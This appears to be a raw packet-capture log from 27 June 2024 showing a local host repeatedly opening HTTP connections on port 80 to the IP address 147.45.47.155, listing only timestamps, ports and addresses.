Jun 27, 2024 07:39:56.039740086 CEST	49888	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:56.040030003 CEST	80	49887	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:56.040086031 CEST	49887	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:56.046981096 CEST	80	49888	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:56.717689991 CEST	80	49888	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:56.718605995 CEST	49888	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:56.720807076 CEST	49888	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:56.721345901 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:56.726087093 CEST	80	49889	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:56.726131916 CEST	80	49888	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:56.726222992 CEST	49888	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:56.726227045 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:56.726536036 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:56.731317043 CEST	80	49889	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:57.414330006 CEST	80	49889	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:57.414995909 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:57.529690981 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:57.530078888 CEST	49890	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:57.535020113 CEST	80	49890	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:57.535088062 CEST	49890	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:57.535226107 CEST	80	49889	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:57.535269976 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:57.535567045 CEST	49890	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:57.540419102 CEST	80	49890	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:58.221925020 CEST	80	49890	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:58.222006083 CEST	49890	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:58.226052046 CEST	49890	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:58.226500034 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:58.231543064 CEST	80	49890	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:58.231599092 CEST	49890	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:58.231637001 CEST	80	49891	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:58.231709003 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:58.231919050 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:58.237242937 CEST	80	49891	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:58.900644064 CEST	80	49891	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:58.900787115 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.012629986 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.013034105 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.017895937 CEST	80	49892	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:59.018523932 CEST	80	49891	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:59.018631935 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.018677950 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.018860102 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.025227070 CEST	80	49892	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:59.684058905 CEST	80	49892	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:59.684111118 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.688249111 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.688628912 CEST	49893	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.693212986 CEST	80	49892	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:59.693260908 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.693356037 CEST	80	49893	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:59.693416119 CEST	49893	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.693798065 CEST	49893	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:59.698601961 CEST	80	49893	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:00.374906063 CEST	80	49893	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:00.375638008 CEST	49893	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:00.481268883 CEST	49893	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:00.481767893 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:00.486502886 CEST	80	49893	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:00.486618996 CEST	49893	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:00.486624002 CEST	80	49894	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:00.486732960 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:00.486955881 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:00.491645098 CEST	80	49894	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.165690899 CEST	80	49894	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.166340113 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.169725895 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.172143936 CEST	49895	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.174813986 CEST	80	49894	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.175713062 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.176971912 CEST	80	49895	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.177246094 CEST	49895	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.177417994 CEST	49895	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.182643890 CEST	80	49895	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.857737064 CEST	80	49895	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.857800961 CEST	49895	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.966757059 CEST	49895	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.967035055 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.971940041 CEST	80	49896	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.972018003 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.972400904 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:01.977214098 CEST	80	49896	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.989469051 CEST	80	49895	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:01.989521980 CEST	49895	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:02.655277014 CEST	80	49896	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:02.655728102 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:02.658730030 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:02.658746004 CEST	49897	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:02.663868904 CEST	80	49897	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:02.664066076 CEST	49897	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:02.664127111 CEST	80	49896	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:02.667623043 CEST	49897	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:02.667879105 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:02.672414064 CEST	80	49897	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:03.362107992 CEST	80	49897	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:03.362221003 CEST	49897	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:03.482554913 CEST	49897	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:03.483062029 CEST	49898	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:03.487703085 CEST	80	49897	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:03.487775087 CEST	49897	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:03.487835884 CEST	80	49898	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:03.487907887 CEST	49898	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:03.488178968 CEST	49898	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:03.493045092 CEST	80	49898	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:04.173811913 CEST	80	49898	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:04.173901081 CEST	49898	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.179054976 CEST	49898	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.179574966 CEST	49899	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.184391022 CEST	80	49899	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:04.184453011 CEST	49899	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.184614897 CEST	80	49898	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:04.184643030 CEST	49899	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.184669971 CEST	49898	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.189419985 CEST	80	49899	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:04.853579044 CEST	80	49899	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:04.853735924 CEST	49899	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.967627048 CEST	49900	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.967628002 CEST	49899	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.972537041 CEST	80	49900	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:04.972716093 CEST	49900	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.972763062 CEST	80	49899	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:04.972953081 CEST	49899	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.973017931 CEST	49900	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:04.977781057 CEST	80	49900	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:05.640875101 CEST	80	49900	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:05.640934944 CEST	49900	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:05.645564079 CEST	49900	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:05.645976067 CEST	49901	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:05.650793076 CEST	80	49901	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:05.650851965 CEST	49901	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:05.650880098 CEST	80	49900	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:05.650933027 CEST	49900	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:05.651231050 CEST	49901	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:05.656002998 CEST	80	49901	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:06.321026087 CEST	80	49901	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:06.321099997 CEST	49901	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:06.436084032 CEST	49901	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:06.436449051 CEST	49902	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:06.441400051 CEST	80	49902	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:06.441418886 CEST	80	49901	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:06.441481113 CEST	49902	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:06.441617966 CEST	49901	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:06.441884041 CEST	49902	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:06.447159052 CEST	80	49902	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:07.116878986 CEST	80	49902	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:07.118016958 CEST	49902	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.120640039 CEST	49902	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.122575998 CEST	49903	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.127743959 CEST	80	49902	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:07.128428936 CEST	80	49903	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:07.128456116 CEST	49902	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.131732941 CEST	49903	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.132333994 CEST	49903	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.137089014 CEST	80	49903	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:07.801292896 CEST	80	49903	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:07.801356077 CEST	49903	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.918425083 CEST	49903	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.918721914 CEST	49904	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.923641920 CEST	80	49904	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:07.923722029 CEST	49904	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.923840046 CEST	49904	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.923944950 CEST	80	49903	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:07.924007893 CEST	49903	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:07.928579092 CEST	80	49904	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:08.611704111 CEST	80	49904	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:08.612166882 CEST	49904	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:08.614907980 CEST	49904	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:08.615292072 CEST	49905	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:08.626071930 CEST	80	49905	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:08.626174927 CEST	49905	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:08.626312971 CEST	49905	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:08.627053976 CEST	80	49904	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:08.627645969 CEST	49904	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:08.631026030 CEST	80	49905	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:09.297519922 CEST	80	49905	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:09.297606945 CEST	49905	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:09.402554989 CEST	49905	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:09.402971983 CEST	49906	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:09.407768011 CEST	80	49906	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:09.407844067 CEST	80	49905	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:09.407850027 CEST	49906	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:09.407900095 CEST	49905	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:09.408092022 CEST	49906	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:09.412875891 CEST	80	49906	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:10.851300955 CEST	80	49906	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:10.851732016 CEST	80	49906	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:10.852025032 CEST	80	49906	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:10.852154970 CEST	49906	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:10.852154970 CEST	49906	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:10.855622053 CEST	49906	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:10.855632067 CEST	49907	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:10.860512018 CEST	80	49907	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:10.860898972 CEST	80	49906	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:10.861774921 CEST	49906	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:10.861778021 CEST	49907	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:10.861962080 CEST	49907	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:10.866976976 CEST	80	49907	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:11.535485983 CEST	80	49907	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:11.535557985 CEST	49907	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:11.653652906 CEST	49907	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:11.654094934 CEST	49908	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:11.658968925 CEST	80	49907	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:11.658982992 CEST	80	49908	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:11.659023046 CEST	49907	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:11.659080982 CEST	49908	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:11.659192085 CEST	49908	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:11.663896084 CEST	80	49908	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:12.357760906 CEST	80	49908	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:12.357831001 CEST	49908	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:12.360352993 CEST	49908	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:12.360661983 CEST	49909	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:12.368784904 CEST	80	49908	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:12.368864059 CEST	49908	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:12.368926048 CEST	80	49909	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:12.368984938 CEST	49909	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:12.369196892 CEST	49909	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:12.373923063 CEST	80	49909	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:13.067109108 CEST	80	49909	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:13.067352057 CEST	49909	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.183970928 CEST	49909	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.185642958 CEST	49910	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.189941883 CEST	80	49909	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:13.190123081 CEST	49909	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.190531015 CEST	80	49910	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:13.190757990 CEST	49910	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.191109896 CEST	49910	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.196008921 CEST	80	49910	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:13.877317905 CEST	80	49910	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:13.877391100 CEST	49910	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.881256104 CEST	49910	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.881690025 CEST	49911	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.888117075 CEST	80	49910	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:13.888154030 CEST	80	49911	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:13.888178110 CEST	49910	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.888231993 CEST	49911	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.888339996 CEST	49911	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:13.893512011 CEST	80	49911	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:14.558799028 CEST	80	49911	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:14.559063911 CEST	49911	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:14.670638084 CEST	49912	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:14.670638084 CEST	49911	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:14.675734043 CEST	80	49912	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:14.676043034 CEST	80	49911	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:14.676157951 CEST	49912	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:14.676157951 CEST	49911	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:14.679630041 CEST	49912	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:14.684559107 CEST	80	49912	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:15.363936901 CEST	80	49912	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:15.364114046 CEST	49912	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:15.367351055 CEST	49912	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:15.367355108 CEST	49913	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:15.373167992 CEST	80	49913	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:15.373305082 CEST	80	49912	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:15.373337984 CEST	49913	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:15.373560905 CEST	49912	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:15.373946905 CEST	49913	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:15.378952026 CEST	80	49913	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:16.041399956 CEST	80	49913	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:16.041465998 CEST	49913	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.154714108 CEST	49913	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.155092001 CEST	49914	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.159883022 CEST	80	49914	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:16.159948111 CEST	49914	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.159953117 CEST	80	49913	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:16.160000086 CEST	49913	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.160445929 CEST	49914	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.165251017 CEST	80	49914	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:16.834930897 CEST	80	49914	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:16.835056067 CEST	49914	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.837990046 CEST	49914	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.838463068 CEST	49915	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.843163013 CEST	80	49914	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:16.843209982 CEST	80	49915	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:16.843456984 CEST	49914	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.843461037 CEST	49915	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.843560934 CEST	49915	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:16.848277092 CEST	80	49915	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:17.540023088 CEST	80	49915	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:17.540082932 CEST	49915	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:17.654377937 CEST	49915	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:17.654861927 CEST	49916	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:17.660119057 CEST	80	49916	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:17.660178900 CEST	49916	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:17.660413980 CEST	49916	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:17.660567045 CEST	80	49915	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:17.660617113 CEST	49915	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:17.665220022 CEST	80	49916	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:18.356010914 CEST	80	49916	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:18.356065035 CEST	49916	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:18.359805107 CEST	49916	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:18.360227108 CEST	49917	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:18.364995956 CEST	80	49916	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:18.365044117 CEST	49916	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:18.365058899 CEST	80	49917	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:18.365145922 CEST	49917	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:18.365361929 CEST	49917	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:18.370121956 CEST	80	49917	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:19.043380976 CEST	80	49917	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:19.043576956 CEST	49917	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.152995110 CEST	49917	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.152996063 CEST	49918	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.158122063 CEST	80	49918	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:19.158334017 CEST	80	49917	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:19.158376932 CEST	49918	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.158530951 CEST	49918	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.158591986 CEST	49917	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.163585901 CEST	80	49918	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:19.854294062 CEST	80	49918	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:19.854362965 CEST	49918	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.862520933 CEST	49918	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.863043070 CEST	49919	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.868108988 CEST	80	49919	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:19.868168116 CEST	80	49918	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:19.868170977 CEST	49919	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.868216991 CEST	49918	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.868976116 CEST	49919	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:19.873831034 CEST	80	49919	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:20.545984030 CEST	80	49919	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:20.551632881 CEST	49919	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:20.683564901 CEST	49919	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:20.687634945 CEST	49920	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:20.689460993 CEST	80	49919	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:20.689851999 CEST	49919	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:20.692491055 CEST	80	49920	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:20.693169117 CEST	49920	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:20.693561077 CEST	49920	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:20.698402882 CEST	80	49920	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:21.359210968 CEST	80	49920	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:21.359322071 CEST	49920	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:21.362685919 CEST	49920	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:21.362694979 CEST	49921	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:40:21.367510080 CEST	80	49921	147.45.47.155	192.168.2.5
Jun 27, 2024 07:40:21.367633104 CEST	49921	80	192.168.2.5	147.45.47.155
